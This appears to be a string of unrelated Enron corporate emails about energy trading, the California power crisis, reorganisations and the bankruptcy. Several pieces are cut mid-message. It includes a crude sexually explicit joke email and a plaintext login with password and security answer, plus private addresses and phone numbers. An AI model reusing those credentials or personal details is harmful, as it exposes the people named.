>>To: mfanelli@twcny.rr.com, jbarryiipoops@hotmail.com, 
>>gizz1dmb@hotmail.com, roepanimal@hotmail.com, jrjhawk@hotmail.com, 
>>drc@hotmail.com, jake50k@myvzw.com, billymags@hotmail.com, 
>>jtv5407@hotmail.com, melissawilbur@hotmail.com, Timmit1971@hotmail.com 
>>Subject: What I've Learned From Watching Porn 
>>Date: Tue, 27 Mar 2001 10:06:47 -0500 
>> 
>>What I've Learned From Watching Porn 
>> 
>>1.? Women wear high heels to bed. 
>>2.? Men are never impotent. 
>>3.? When going down on a woman 10 seconds is more than satisfactory. 
>>4.? If a woman gets busted masturbating by a strange man, she will not 
>>??? scream with embarrassment, but rather insist he have sex with her. 
>>5.Women smile appreciatively when men splat them in the face with sperm. 
>>6.? Women enjoy having sex with ugly, middle-aged men. 
>>7.? Women moan uncontrollably when giving a blowjob. 
>>8.? Women always orgasm when men do. 
>>9.? A blowjob will always get a woman off a speeding ticket. 
>>10. All women are noisy fucks. 
>>11. People in the 70's couldn't fuck unless there was a wild guitar solo 
>>??? in the background. 
>>12. Those tits are real. 
>>13. A common and enjoyable sexual practice for a man is to take his 
>>??? half-erect penis and slap it repeatedly on a woman's butt. 
>>14. Men always groan "OH YEAH!" when they cum. 
>>15. If there is two of them they "high five" each other.(and the girl 
>>??? isn't disgusted!) 
>>16. Double penetration makes women smile. 
>>17. Asian men don't exist. 
>>18. If you come across a guy and his girlfriend having sex in the 
>>??? bushes, the boyfriend won't bash seven shades of shit out of you 
>>??? if you shove your cock in his girlfriend's mouth. 
>>19. There's a plot. 
>>20. When taking a woman from behind, a man can really excite a woman by 
>>??? giving her a gentle slap on the butt. 
>>21. Nurses suck patient's cocks. 
>>22. Men always pull out. 
>>23. When your girlfriend busts you getting head from her best friend, 
>>??? she'll only be momentarily pissed off before fucking the both of 
>>??? you. 
>>24. Women never have headaches... or periods. 
>>25. When a woman is sucking a man's cock, it's important for him to 
>>??? remind her to "suck it". 
>>26. Assholes are clean. 
>>27. A man ejaculating on a woman's butt is a satisfying result for all 
>>??? parties concerned. 
>>28. Women always look pleasantly surprised when they open a man's 
>>??? trousers and find a cock there. 
>>29. Men don't have to beg. 
>>30. When standing during a blowjob, a man will always place one hand 
>>??? firmly on the back of the kneeling woman's head and the other 
>>??? proudly on his hip 
>> 
>> 
> 

_________________________________________________________________ 
Get your FREE download of MSN Explorer at http://explorer.msn.com 

Please handle.
---------------------- Forwarded by Mary Hain/HOU/ECT on 02/26/2001 11:02 AM 
   
	From:  "Grant, Colleen" <CGrant@caiso.com>                           
02/23/2001 04:34 PM
	
cc:  
Subject: CAISO NOTICE:  Market Participants and Scheduling Coordinators: C 
PUC subpoena

 To Market Participants and Scheduling Coordinators:

The ISO received today a subpoena from the California Public Utilities
Commission along with a letter on the confidentiality provisions that will
apply to documents produced in response to the subpoena.  The subpoena and
letter are attached.  The subpoena requires response by March 1. In
accordance with the protective order in 00-08-002, the ISO will mark as
confidential documents it produces to the CPUC that contain information
subject to 20.3.2.  Concerns related to the subpoena should be directed
directly to the California Public Utilities Commission. The CPUC contact
related to the subpoena is Barbara Ferguson who can be reached at (415)
703-2682.   The ISO would appreciate being notified also of any concerns.
The ISO contacts are Jeanne Sol, at jsole@caiso.com and Norma Formanek at
<mailto:nformanek@fbm.com> nformanek@fbm.com both of whom should be copied
on correspondence. 
 - CPUCSubp.pdf

We are pleased to announce the following organization changes within Enron=
=20
Global Markets (EGM).

Larry Lawyer will be joining EGM effective immediately to lead our new=20
finance activities.  In this role, he will work with all commodity products=
,=20
assets, and teams worldwide to lever our existing businesses with this new=
=20
focus.  Larry has worked as treasurer and was responsible for 3rd party=20
financing for EBS for the last year.  He has worked for Enron for 4 1/2 yea=
rs=20
in various positions in the finance area.  He will be reporting to the Offi=
ce=20
of the Chairman.

Eric Gonzales will be joining the LNG team and will co-head this effort wit=
h=20
Rick Bergsieker.  We believe there is significant opportunity in the=20
worldwide LNG markets, and Eric will direct all merchant activity and focus=
=20
on the Atlantic regions of the world.  He will also manage the LNG shipping=
=20
book.  Eric is located in the London office and also has responsibility for=
=20
leading the newly formed Pool Markets origination group reporting to Joe=20
Gold.   =20

Rick Bergsieker has relocated to Dubai, in the UAE.  He is responsible for=
=20
all Middle East activities and projects, managing the Puerto Rico assets an=
d=20
will co-head the worldwide LNG efforts.  Rick has over 20 years of LNG=20
experience and together, he and Eric will form an outstanding leadership te=
am=20
as we expand Enron=01,s LNG activities around the world.  They both will re=
port=20
to the Office of the Chairman. =20

Jennifer Fraser will come over and develop our market fundamentals group fo=
r=20
all products in EGM, much like ENA natural gas and power fundamentals and=
=20
Intranet pages existing today.  Previously, Jennifer was working in the Mid=
=20
Market origination group.  Heather Purcell will be joining this group=20
developing the commercial interface for our Intranet page.  Heather was wit=
h=20
Azurix, where she worked on the platform interface for their eBusiness=20
initiatives.=20

Gary Hickerson will be chairing our Traders=01, Roundtable.  This new group=
 will=20
be comprised of traders across Enron's wholesale trading and risk managemen=
t=20
businesses.  This forum will give traders the opportunity to discuss topics=
=20
important to their individual markets, and to learn and explore other marke=
ts=20
in a macro sense.  Also, we will be forming a cross-commodity trading group=
. =20
Traders who have shown extremely strong and consistent profitability will=
=20
have the opportunity to join this group and to exploit cross-commodity=20
opportunities with a bias toward structural shifts in markets.  This group=
=20
will not be involved in customer activity and will execute through our=20
principal desks.   Gary will manage this new group, as well as continuing=
=20
with his current F/X, Rates, Equity, and Agriculture initiatives.=20

Please join us in congratulating everyone on their new positions. =20
Organization charts outlining the entire EGM organization are available upo=
n=20
request from Cathy Phillips.

El Paso, Coastal Consolidate Pipeline Staff

El Paso Energy and Coastal Corp. announced plans yesterday to relocate more 
than 1,200 employees and retain only satellite offices at the El Paso Natural 
Gas headquarters in El Paso, TX, and the ANR Pipeline headquarters in 
Detroit, MI, once their merger is approved by the FTC, which is expected 
sometime in the fourth quarter. No final decision on staff reductions has 
been made, an El Paso spokeswoman said. 

The companies intend consolidate the operations of their five pipeline 
systems into three organizations, collectively led by John W. Somerhalder II. 
Under the consolidation plan, the combined company's nationwide pipeline 
system will be consolidated into three regional operations. The western 
region will consist of El Paso Natural Gas Company and Colorado Interstate 
Gas Company and will be headquartered in Colorado Springs, CO. The eastern 
region will consist of ANR Pipeline and Tennessee Gas Pipeline and will be 
headquartered in Houston. Southern Natural will make up the southeastern 
region headquartered in Birmingham, AL. 

John Somerhalder will continue as the executive vice president of the El Paso 
Pipeline Group. Patricia A. Shelton, currently president of El Paso Natural 
Gas, will lead the consolidated western region pipelines. Jay Holm, currently 
responsible for El Paso's Australian pipeline assets, will return to the 
United States to become CEO of the eastern region. Reporting to Holm as 
presidents of Tennessee and ANR will be Stephen C. Beasley and James J. 
Cleary, respectively. The southeastern region will be led by James C. 
Yardley, who will continue as president of Southern. Shelton, Holm, and James 
Yardley will report to Somerhalder. 

"This consolidation will create the most effective organization for El Paso's 
pipeline system," said El Paso CEO William A. Wise. "Our upcoming merger with 
Coastal will create an interstate transmission system that spans the nation, 
border to border and coast to coast. This consolidation represents a highly 
disciplined approach to managing this system, allowing us to strike a proper 
balance between customer focus and operational efficiency. It also 
facilitates a company-to-company exchange of expertise across our system and 
speeds the merging of separate company cultures." 

While the companies will be organizationally merged, the five pipeline 
systems will remain separate with separate tariffs and separate names. Though 
many back office functions such as accounting and gas control will be 
consolidated and relocated to the new headquarters, field functions and 
related activities will remain in their current locations. In addition, some 
employees will remain in the El Paso and Detroit locations. The company will 
ask affected employees whether they want to be considered for relocation. 
Those employees who elect not to relocate will be given severance packages. 
Most moves will occur during the first half of next year, and the majority of 
the plan is expected to be implemented by mid-2001. 

The companies announced their $16 billion polling-of-interests transaction in 
January (see Daily GPI, Jan. 19). The merger is expected to be accretive to 
El Paso's earnings per share (EPS) immediately and add more than 5% to EPS in 
both 2001 and 2002, Wise said at the time of the merger announcement. 
Overall, the two companies expect $200 million in cost savings. By 
comparison, the El Paso-Sonat merger created more than $100 million in 
savings and more than 600 people lost their jobs. 

The combined interstate transmission system of the new company will consist 
of over 58,000 miles of pipeline, by far the most of any pipeline company in 
North America. The system will transport more than 20 Bcf/d of gas through 
existing pipeline infrastructure, but will have sole or part ownership in 
three other new or proposed major pipelines, including Alliance, Gulfstream 
and Independence. The company also will be the second largest gatherer of 
natural gas in the United States and the third largest U.S. producer of gas. 

--

Kay:

Attached for your review is the current draft of the Ft. Pierce term sheet on 
the 5 year toll.  There is still some fine tuning to be done on the 
language.  I will send the Midway term sheet under a separate email.

Fred

---------------------- Forwarded by Fred Mitro/HOU/ECT on 05/02/2001 08:54 AM 
   
	From:  Edith Cross                           04/30/2001 09:09 AM
	
cc: Nick Hiemstra/HOU/ECT@ECT 
Subject: Ft. Pierce Term Sheet

Fred,

Here is the Ft. Pierce Term Sheet.  Obviously, I have copied Nick's so there 
may be a few things I have missed.  The main section that I need to you to 
focus on is the Operating Limitations and Energy Scheduling.  I haven't 
changed these at all.  Nick is sending his version of the Midway term sheet.  
We will get you updated prices soon.

E

survey. Double Click on document to put it in "Edit" mode. When you finish, 
simply click on the 'Reply With History' button then hit 'Send'  Your survey 
will automatically be sent to the Outlook 2000 Migration Mailbox.

Thank you.

Full Name:        

Login ID:  

Jornada)  

This request has been pending your approval for  26 days.  Please click http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000059240&Page=Approval to review and act upon this request.

Request ID          : 000000000059240
Request Create Date : 9/10/01 2:19:58 PM
Requested For       : ryan.williams@enron.com
Resource Name       : Market Data Kobra Power

Jennifer,

NGI-PGE/TOPOCK is an internal curve used to value transport and is equal to 
NGI-SOCAL.  This curve will probably show up every month because the West 
Coast is very volitile.  The change is due to a change in the market.

IF-TW/PERMIAN is a production area curve.  The change is also due to  market 
changes that drove up the curve.

Call me if you have any questions.  Thanks.

DG    3-9573

	From:  Jennifer Nguyen @ ENRON                           03/21/2001 10:19 AM
	
cc: Jeffrey C Gossett/HOU/ECT@ECT 

Darron --

Can you or anyone in your group follow up on the curves below?

Thanks,
Jennifer
---------------------- Forwarded by Jennifer Nguyen/Corp/Enron on 03/21/2001 
10:16 AM ---------------------------
   
	From:  Jennifer Nguyen                           03/13/2001 05:21 PM
	
Hi guys --

IF-HEHUB
IF-NNG TOK
IF-TENN Z5

Thanks,
Jennifer
x5-7590

Do you have rooms available for 9/15 & 9/16?  If so what are the rates for a 
room with a double bed?  Thanks.

DG
713-853-9573

Hey Tom and Sally,
 I just wanted to give a status report of my meeting with Louise Kitchen 
yesterday. Four main issues were of Confirm Central were discussed: legal 
loose ends and ramifications, user interface, functionality, and future 
enhancements.

 Starting with the legal aspect Louise wanted Mark Taylor brought into the 
process. She felt his experience from EOL would be useful, and would help 
make any seams between EOL and CL disappear. I am setting up ameeting for 
early next week between Mark T., Mark G., and Alan to get this process 
rolling.
 
 The user interface Louise thought needed some work she definitely did not 
like the colors of the website. She had good comments on how to improve the 
look and feel. We will try to incorporate Louise's suggestions as quickly as 
possible. I am not to concerned about these comments since we have spent the 
last 4 weeks developing functionality and have not yet focused on this issue.

 Louise was happy with the actual functionality of the site. She actually 
said we did an excellent job.
 
 Finally, on future relases she wanted us to focus on Financial & Physical 
Power, Financial & Physiacl Gas in the U.S. She felt that this is a market 
where we could make money, where Enron has enough volume that we could really 
relieve some pain on our counterparties. Other commodities such as Liquids, 
Global Products, Metals, she felt either did not have enough voume to justify 
the business model or would take to long to integrate into CL. As far as 
additional features to the site incorpoating an importing function for CP 
data was high on the list, next was reporting confirmation statistics, 
exporting data, and finally automatching.

Take away message from the meeting was that Louise was extremely happy with 
the site and our progress to date.

Brad

Many of you have asked whether you should come into the office next week, especially if there is no guarantee of being paid for time worked after today.  We want to encourage you to come to work.  We continue to consider every option available to us as a company; and unfortunately, restructuring through bankruptcy is one of those options.  Your continued efforts during these trying times are critical to the company as we go through this decision making process.

I still cannot say with certainty if or when we will file for bankruptcy.  But you should be aware that, in general, the bankruptcy code provides protection for employee salaries and wages earned within 90 days of a petition filing to the extent of $4,650 per employee.  I want you to know that if we file a bankruptcy petition, we intend to seek approval by the bankruptcy court to exercise that protection immediately and pay you for your time worked prior to any petition filing according to our regular payroll practices.  Additionally, Enron would be obligated and will pay salaries and wages earned after a bankruptcy filing. For Enron, where our value is directly tied to our employees, making sure that we meet these obligations will be a high priority.

We are continuing to evaluate the ongoing resource needs of the company for each potential option we might pursue.  Of course, until we finalize those business decisions, we cannot make that determination.  I know that this prolonged process is agonizing for you.  I can only continue to assure you that we will notify you of your employment status as soon as we are able to do so.

While terminated employees will tap into their own network of contacts as they look for new employment, we hope to do what we can to assist them.  We will tap into the contacts we have as a company to aid terminated employees in their job search.  We have already been in touch with several employers and many are interested in Enron alumni.  We will share more information on these efforts soon.

I appreciate your continued patience and cooperation.

Ken

Please approve the following product type in Data Manager after 11 A.M.

US Gas Phy Fwd Secondary Firm

click the  START button 
 PROCEED WITH USUAL LOGIN/PASSWORD 
click the Enron Online Production Cluster "START" button  
Right "mouse" click on "properties" to view product set-up 

An audit of the price verification and correction process has revealed some
instances of problems related to coordinating the ECA-A and B end-state
process with the price reservation and correction procedures carried out by
the NYISO's consultant.  The affected days were 1, 2, 4, 9, 10, 21, 29, and
31 January 2002 and 1, 7, and 8 February 2002.  There were two problems of
coordination, each distinct but related to the other.  In certain hours on
days requiring internal price corrections, tables containing the ECA-A
adjustments at the external proxy buses were inadvertently joined to the
real-time tables, overwriting some real-time information with the BME
information.  The overwrite took place prior to the posting of the
corrected prices on the web.  The consequence was that a database that was
supposed to contain only real-time information contained a mix of real-time
and BME information.  The second problem resulted from the NYISO
consistently using an "hour-beginning" timeframe for the ECA-A and B
end-state and other processes, while the correction process that overwrote
the information (see above) used an "hour-ending" timeframe.  The
consequence was that certain top-of-the-hour intervals were corrected
inappropriately and not subsequently overwritten by the NYISO-originated
end-state ECA correction.  The NYISO apologizes for any confusion that
these correction adjustments have caused.

---
You are currently subscribed to nyiso_tie as: benjamin.rogers@enron.com
To unsubscribe send a blank email to leave-nyiso_tie-628650Q@lyris.nyiso.com

Thank you for your message. The credit card I want to use is currently stored
in your system. When I want to update the billing information with this card
number, I am getting the answer: Credit card already in use. The card is in
good standing and there is absolutely no problem with this card and there was
never any problem. I don't understand why your system failed. I think that
this is your problem, not mine.

DISCOVER
Last 4 digits: 0057.
Expiration: 05/02

W. Kaminski
P.S. I have just called Discover and was told the account is in pefect shape
(as expected). As I have said,  you must have a bug in your system.

Melissa,

The March 2001 ISO Preliminary Invoices are available.  The totals are as follows:

Grid Management:	$746,284.83		Due to the ISO by 10am PST 5/31/01

Market Operations:	$93,134,478.43**	Due to the ISO by 10am PST 5/31/01

**The ISO is going to invoice EPMI based on a recalculated estimate.  Please make $10,000,000.00 available for this payment which will still need to go out by May 31, 2001 at 10am.

Please call me at 503-464-7733 if you need me to fax the invoices to you, or if you have any questions.

Thanks, 
Donna (Johnson) Sheidun
Volume Management

Please give Judy Townsend, Scott Goodell, and myself  the ability to trade 
the physical Canadian products.  We need to be able to see them on EOL.  

Thanks

Below is the New Executive Summary. Starting today, October 9th, the 
Management Report will no longer be sent on a daily basis but will be 
delivered on a weekly basis each Monday. The Executive Summary will continue 
to be sent on a daily basis.

EnronOnline Executive Summary for 10/06/00
External Transactions Today	2,796
Average Daily External Transactions (30 day Trailing Avg)	2,514
Total Life to Date Transactions*	343,663

EnronOnline Percentage of Entity's Total Transactions for 	10/06/00
Enron North America	77%
Enron Europe Limited	34%
GLOBAL PRODUCTS	26%
Enron Metals	5%

Today	1,994,263,133
MTD	177,270,202,850
LTD	178,483,444,967
Average Daily Notional Value (30 Day Trailing Avg)	1,655,850,851
	
Notional Revenue from Physical Flows to Date	12,473,831,049

Counterparties having transacted to date	503
New Counterparties transacting for the first time today	1
Number of Products Offered Today	1,113
Total Number of External Users Logged on Today	2,404
Average # of External Users logged on (30 day Trailing Avg)	2,453

Also attached is the Public Domain Report, containing information which is 
intended for use in presentations or reports which will be seen by 
individuals outside Enron. Starting Today, October 9th, the Public Report 
will also be delivered on a weekly basis.

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 04/10/2000 
02:09 PM ---------------------------
   
	From:  Julie A Gomez                           04/01/2000 07:11 AM
	
To: Hunter S Shively/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT
cc:  
Subject: Alliance netback worksheet

Hello Men-

I have attached my worksheet in case you want to review the data while I am 
on holiday.

Thanks,

Julie  :-)

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Jim, Notice is given of meetings of the Directors of Enron Australia Finance Pty Ltd and Enron Australia Energy Pty Ltd to be held in Enron's Sydney office at 8.30am Monday 3 December 2001 Sydney time (3.30pm Sunday Houston time).  At these meetings the solvency of each company will be reviewed and the appointment of an Administrator of each company will be recommended. As before if you wish to participate by phone please advise.

No meeting is scheduled for the Directors of Enron Australia Pty. Ltd. 

This notice is given pursuant with your agreement to waive the the 2 Busines Day Noice Period. 

Company Secretary
Enron Australia Finance Pty Ltd and Enron Australia Energy Pty Ltd 

Phone 612 9229 2310
Mobile 61 410 492 240
Fax 612 9229 2350
    
??????????..

All:

The DWR contract analysis has now been updated to include the gas-indexed 
deals.  The total out-of-market for executed contracts stands at $12 
billion.  As you can see 7 counterparties hold contracts in excess of values 
indicated by recent curves by $500 million or more.

Thanks goes to Mo Elafandi for pushing this analysis through the structuring 
group.

GAC

Mark-to-Market of	
DWR Contracts By Counter Party	
($s, negative number means contract is above market)	
Calpine	-$4,479,764,629
Coral	-$1,493,874,018
Williams	-$1,056,234,556
Dynegy	-$987,044,991
Allegheny	-$958,949,529
High Desert	-$674,251,353
Sunrise	-$551,894,408
Dynegy	-$471,117,317
GWF	-$432,339,191
Mirant	-$265,644,251
Constellation	-$165,463,637
El Paso 	-$128,334,382
Morgan Stanley	-$82,462,946
Alliance	-$75,169,854
PG&E Gen	-$63,165,408
Clearwood	-$41,423,566
IID	-$13,035,452
Duke Energy	-$2,052,733
Total Overmarket PV	-$11,942,222,221

From:  Comnes, Alan  
Sent: Friday, July 13, 2001 9:23 AM
To: Comnes, Alan; Dasovich, Jeff; Thome, Jennifer; Shapiro, Richard; Steffes, 
James; Mara, Susan; Perrino, Dave; Sharma, Ban; Belden, Tim; Alvarez, Ray; 
Palmer, B. Scott; Palmer, Mark; Calger, Christopher F.; Calvert, Gray; 
Etringer, Michael; Fillinger, Mark; Page, Jonalan
Subject: RE: DWR Stranded Cost Update

I am resending the same file as before (although to a larger group) and  need 
to make a correction regarding one assumption.  I am told the analysis does 
not yet include the gas indexed contracts.  We're working on getting them  
included and when they are, the overmarket value will likely increase.
Sent: Wednesday, July 11, 2001 3:04 PM
To: Dasovich, Jeff; Thome, Jennifer; Shapiro, Richard; Steffes, James; Mara, 
Susan; Perrino, Dave; Sharma, Ban; Belden, Tim; Alvarez, Ray
Subject: DWR Stranded Cost Update

Using information pulled together by Jennifer and BAN, I requested West 
Tradings Risk/Structuring Group do a more careful analysis of the 
above-market costs associated with the DWR contracts.  Attached is their 
analysis.

In this analysis we examined only the executed contracts and NOT the 
agreements-in principle.  (Only executed contracts were released by the state 
in the last few weeks.) Also, gas-indexed contracts were examined on their 
nongas costs only.  Since gas costs are a pass through on some contracts, we 
excluded them as a conservatism; i.e., we did not ascribe costs to the gas 
portion of the contracts since they will float with market costs over time.  
These contracts were marked to market using current, applicable curves.  
Finally we discounted at the LIBOR rate, which is around 4%/year.

The stranded cost under these assumptions  is approximately $10 billion.  The 
spreadsheet shows the overmarket costs by contract.  Note: a negative 
"mark-to-market" equals a positive stranded cost.

As before, this analysis is based upon Enron's confidential forward curves.  
Approval from Tim Belden is needed before this analysis can be released.

 << File: Stranded Cost Analysis Structuring Confidential.xls >> 

Nancy Langhart
309 Nutgrove Ln
Albany, NY 12202
langharn@maail.strose.edu

Jeff Skilling just resigned.  DO you think Martin's retirement  speech had any impact? See ya tonight

713-853-6349

John,

I am writing to you regarding the management of the London Research group.

As you know, Dale Surbey, who was managing the London unit of the Research 
Group,
is moving to EBS. Dale did a terrific job helping me to develop the pool of 
talent we have currently
in London.
Given that Dale is likely to be transfered to Houston,  it's time
to nominate one member of the Research Group for a management position.

My recommendation is Steve Leppard. Steve emerged not only as the most
technically qualified member of the group  but also as a natural leader, 
highly
respected by his peers and internal customers.  Steve has a very high energy 
level
and is very efficient as a manager and as  coach of new talent.

His promotion is likely to cause Anjam's departure form Enron. I value 
technical
skills of Anjam, but in spite of my loyalty to him, don't think he is the 
same caliber
as Steve. However, I would not like to lose him and think about moving him to 
Houston
for 2 years. I think that the opportunity to work in Houston, would be a 
sufficient
incentive to keep him in Enron. By the way, his performance feedback has 
greatly improved.

Please, let me know what you think.

Vince

EB49C4
10:30AM TO 1:00PM

TAQUESHA FRANK
713-853-6300 OPTION 1
AUDIO VISUAL COORDINATOR

    THERE will NOT be a Friday Meeting July 7, 2000.

    Date:  Friday July 7, 2000

    Time: 
  
    Location:  
 
    Topic:    NO MEETING DUE TO PRC

Thanks,

Kay 3-0643

From: Susan_Ralph@eott.com <Susan_Ralph@eott.com>
To: rhaysle@enron.com <rhaysle@enron.com>
CC: Josie_Castrejana@eott.com <Josie_Castrejana@eott.com>; Peter_Chen@eott.com <Peter_Chen@eott.com>
Sent: Mon Nov 05 09:11:02 2001
Subject: L/Cs

Further to our conversation Friday night...??was that Friday?   anyway we
have the following needs.

An L/C to Henry petroleum for $1.4  mil.  This app is at Enron and was
originally sent  to Chase for issuance..now Chase says no.  ( this one is
getting touchy)

New apps being forwarded this morning that need issuing.

Ultramar Diamond Shamrock $15.0 mil
Astra Energy Canada $3.3 mil
Koch Canada  $800,000

Pending:

Choctaw II Oil and Gas :   $1,0 mill.....we are waiting for the verdict on
this one..but don't hold much hope for getting out of it.   Should know
this morning.

ALSO;;;;;;;NEED TO HAVE COST NUMBERS ON THESE L/C'S   SOME OF THE CUSTOMERS
ARE OFFERRING TO PAY FOR THEM BUT WANT A NUMBER

----- Forwarded by Joe Hartsoe/Corp/Enron on 10/30/2000 02:59 PM -----

	"Jackie Gallagher" <JGallagher@epsa.org>
	10/30/2000 02:53 PM
		 
		 To: <bhawkin@enron.com>, <bmerola@enron.com>, <christi.l.nicolay@enron.com>, 
<janelle.scheuer@enron.com>, <jhartso@enron.com>, <Mary.Hain@enron.com>, 
<sarah.novosel@enron.com>, <tom.hoatson@enron.com>
		 cc: 
		 Subject: EPSA Motion for Cease and Desist

Attached is EPSA's emergency motion for an immediate issuance of a cease and 
desist order for the Cal ISO to implement price caps, filed today.  Also 
attached is EPSA's press release regarding the filing.
If you will be sending an individual letter to FERC Chairman James J. Hoecker 
supporting EPSA's arguments, please be sure to file the letter in the docket 
and servce the service list (approx. 200+ individuals).  If you need help 
obtaining a copy of the service list, please contact Jackie Gallagher at 
202-789-7200 or jgallagher@epsa.org.

Attachments

 - cal cease and desist.doc
 - Oct30calpricecaps.doc

Thanks for the memo.  It is going to be a very interesting area!  Mark

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 04/28/2000 

Yvonne.Acosta@enron.com on 04/27/2000 07:05:15 PM
To: Noemi.Camacho@enron.com, DEBORAH.DARNELL@enron.com, Amber.Ebow@enron.com, 
Laura.Gutierrez@enron.com, JHERNAN@ENRON.COM, LORENA.LUNA1@HALLIBURTON.COM, 
jcutaia@tupac.com
cc:  
Subject: Fwd: FW: Fw: What Is God Like?

---------------------- Forwarded by Yvonne Acosta/Corp/Enron on 04/27/2000
07:04 PM ---------------------------

Regina Blackshear
04/27/2000 06:46 PM

To:   yacosta@enron.com, vblack4538@aol.com, l_carter61@hotmail.com,
      sonia_l_castorena@reliantenergy.com, Yolanda Clay<yoclay@flash.net>,
      Amber.Ebow@enron.com, Loneta Edison<Loneta.Edison@wcom.com>, Tammy
      Green <tcgreen@flash.net>, GRHRDH@aol.com, "R
      Jordan"<rhondamjordan@hotmail.com>,
      rosemary.a.reynolds@usa.xerox.com,
      "WhiteBL(Barbara)"<BLWhite@equiva.com>
cc:

Subject:  Fwd: FW: Fw: What Is God Like?

THIS IS GOOD

---------------------- Forwarded by Regina Blackshear/Corp/Enron on
04/27/2000 06:42 PM ---------------------------

"BENEDICT PETERS" <bouncing98@hotmail.com> on 04/27/2000 02:01:59 PM

To:   Regina.Blackshear@enron.com
cc:

>From: tia.daniel@bakerbotts.com
>To: JoAnn.Bailey@bakerbotts.com, Njeri.Mathis@bakerbotts.com,
>Cassandra.Hill@bakerbotts.com, Connie.Simmons@bakerbotts.com,
>dilon_daniel@student.hms.harvard.edu, annedanie@aol.com,
>dndaniel@aol.com, bouncing98@hotmail.com, ayg2@cdc.gov,
>sonyar@bbwcdf.com, sniles@skadden.com, staylor@fulbright.com,
>jjamessoto@wsgr.com, davishe@ffhsj.com, cblake@qualcomm.com,
>vholleman@cgdlawfirm.com, Cindy.Williams@bakerbotts.com
>Subject: FW: Fw: What Is God Like?
>Date: Wed, 26 Apr 2000 12:19:02 -0500
>
>Subject: What Is God Like?
>
>
> > God is a little like General Electric
> > He lights your path.
> >
> > God is a little like Bayer Aspirin
> > He works wonders.
> >
> > God is a little like Hallmark Cards
> > He cared enough to send the very best.
> >
> > God is a little like Tide
> > He gets out the stains that others leave behind.
> >
> > God is a little like Alberto VO-5 Hair Spray
> > He holds through all kinds of weather.
> >
> > God is a little like Dial Soap
> > Aren't you glad you know Him?
> > Don't you wish everyone did?
> >
> > God is a little like Sears
> > He has everything.
> >
> > God is a little like Alka Seltzer
> > Oh, what a relief He is!
> >
> > God is a little like Scotch Tape
> > You can't see Him but you know He's there!
> >
> > God is a little like The Copper Top Battery
> > Nothing can outlast Him.
> >
> > God is a little like American Express
> > Don't leave home without Him!
> >
> > MAY GOD BE WITH YOU AND BLESS YOU!
> >
>-----------------------------------------------
>FREE! The World's Best Email Address @email.com
>Reserve your name now at http://www.email.com
>

________________________________________________________________________
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User ID: jgriffith
Password: bun88run

Please contact the Ice help desk at 770-738-2101 should you have questions.  
Should you need to call, the answer to the secret question is Astros.

Thank you,
Stephanie x33465

----- Forwarded by Jeff Dasovich/NA/Enron on 02/16/2001 09:16 PM -----

	02/16/2001 04:56 PM
		 
		 To: IEP <jmunoz@mcnallytemple.com>
		 cc: 
		 Subject: Governor Davis Announces Recovery Plan for State's Utilities

Below is a copy of Governor's press release.  Jan will be responding during
the IEP media tele-conference today at 4pm PST.  Call in number
1-800-374-2393, pass code: Independent Energy Producers.

Thanks,
Jean

-- 
Jean Munoz

___________
PR01: 057
FOR IMMEDIATE RELEASE
02/16/2001 2:20 pm 

GOVERNOR DAVIS ANNOUNCES
RECOVERY PLAN FOR STATE'S UTILITIES

SACRAMENTO 

Governor Gray Davis today unveiled the framework of a recovery plan for the
California's investor-owned utilities that includes the purchase of their
power lines and targeted revenue from the existing rate structure to help
pay their back debt.

"Today we have begun serious negotiations with the utilities on a balanced
recovery plan," said Governor Davis. "This is a balanced business
transaction. It provides real benefits of real value to consumers and allows
the utilities to get back on their feet."

Elements of the plan include:

*    State purchase of the transmission grid owned by the state's three
investor-owned utilities;
*    Benefits to ratepayers and taxpayers including:

1.    A significant contribution by the parent companies to their utility
subsidiaries to satisfy their creditors and return to financial viability;
2.    The extension of cost-based rates from the utilities generating
facilities from five to 10 years and a ban on their sale;
3.    Conservation easements on utility-owned land in prime watershed areas;
and
4.    Dismissal of all pending litigation.

The Governor's plan directs the Public Utilities Commission to establish a
"dedicated rate component" from the existing rate structure (not a new
charge on consumer bills). This would allow the utilities to make payments
to their creditors, including banks, generators, and renewable energy
producers. Utilities would be allowed to sell revenue bonds secured by the
dedicated rate component.

Governor Davis said he is working closely with the legislative leadership on
legislative components necessary to carry out negotiations.

Governor Davis also noted that he sent a letter to President George W. Bush
thanking him for his order today to expedite the review and licensing of new
power generation facilities in California.

"I am extremely gratified that President Bush has acted to put the federal
government on the same path as I have in California to cut red tape and get
new power plants on line," said the Governor.

###

Copies of the complaints in the captioned derivative actions, as recently filed in Multnomah County, Oregon, have been forwarded to Jim Bouillion of Corporate Risk Management regarding the applicability of our D & O insurance coverage. We will keep you closely advised.  

Sounds cool, I have never met the guy, but hopefully he can help in DC
PL

Hey man - good to hear from you.  It must be rough house sitting in River 
Oaks, just remember to leave the furniture before you go back to school.  
Next week would be great to get some brews.  My wife and I are moving this 
weekend so it is quite hectic this week.  I will need a lot of booze after 
this move!  How's Chase?  I'll talk to you soon.
Ben

no crap, what's your bid?

"Eva Pao" <epao@mba2002.hbs.edu> on 05/13/2001 12:48:23 AM
Please respond to <epao@mba2002.hbs.edu>
To:	<John.Arnold@enron.com>
cc:	 
Subject:	Extra credit

break even on info ass-symetry is 100%, any project above that level is
profitable to Pooks&Co.

From: John.Arnold@enron.com [mailto:John.Arnold@enron.com]
Sent: Sunday, May 13, 2001 1:04 AM
To: epao@mba2002.hbs.edu
Subject: RE: try this one...

For extra credit....
If the company is worth 150% more under management A rather than 50% more,
does your answer change?

"Eva Pao" <epao@mba2002.hbs.edu> on 05/11/2001 05:13:59 PM

To:   <John.Arnold@enron.com>
cc:
Subject:  RE: try this one...

will you do all of my homework?

Sent: Friday, May 11, 2001 8:41 AM
Subject: Re: try this one...

i'll pay a grand total of 0

"Eva Pao" <epao@mba2002.hbs.edu> on 05/10/2001 05:15:59 PM

To:   <jarnold@enron.com>
cc:
Subject:  try this one...

 Please read the following problem very carefully, and write in a number at
the end.  You should be ready to defend your answer.  Only a number is
allowed, not an algebraic equation.

Acquiring a Company

     In the following exercise you will represent Company A (the acquirer),
which is currently considering acquiring Company T (the target) by means of
a tender offer.  You plan to tender in cash for 100% of Company T's shares
but are unsure how high a price to offer.  The main complication is this:
the value of Company T depends directly on the outcome of a major oil
exploration project it is currently undertaking.  Indeed, the very
viability
of Company T depends on the exploration outcome.  If the project fails, the
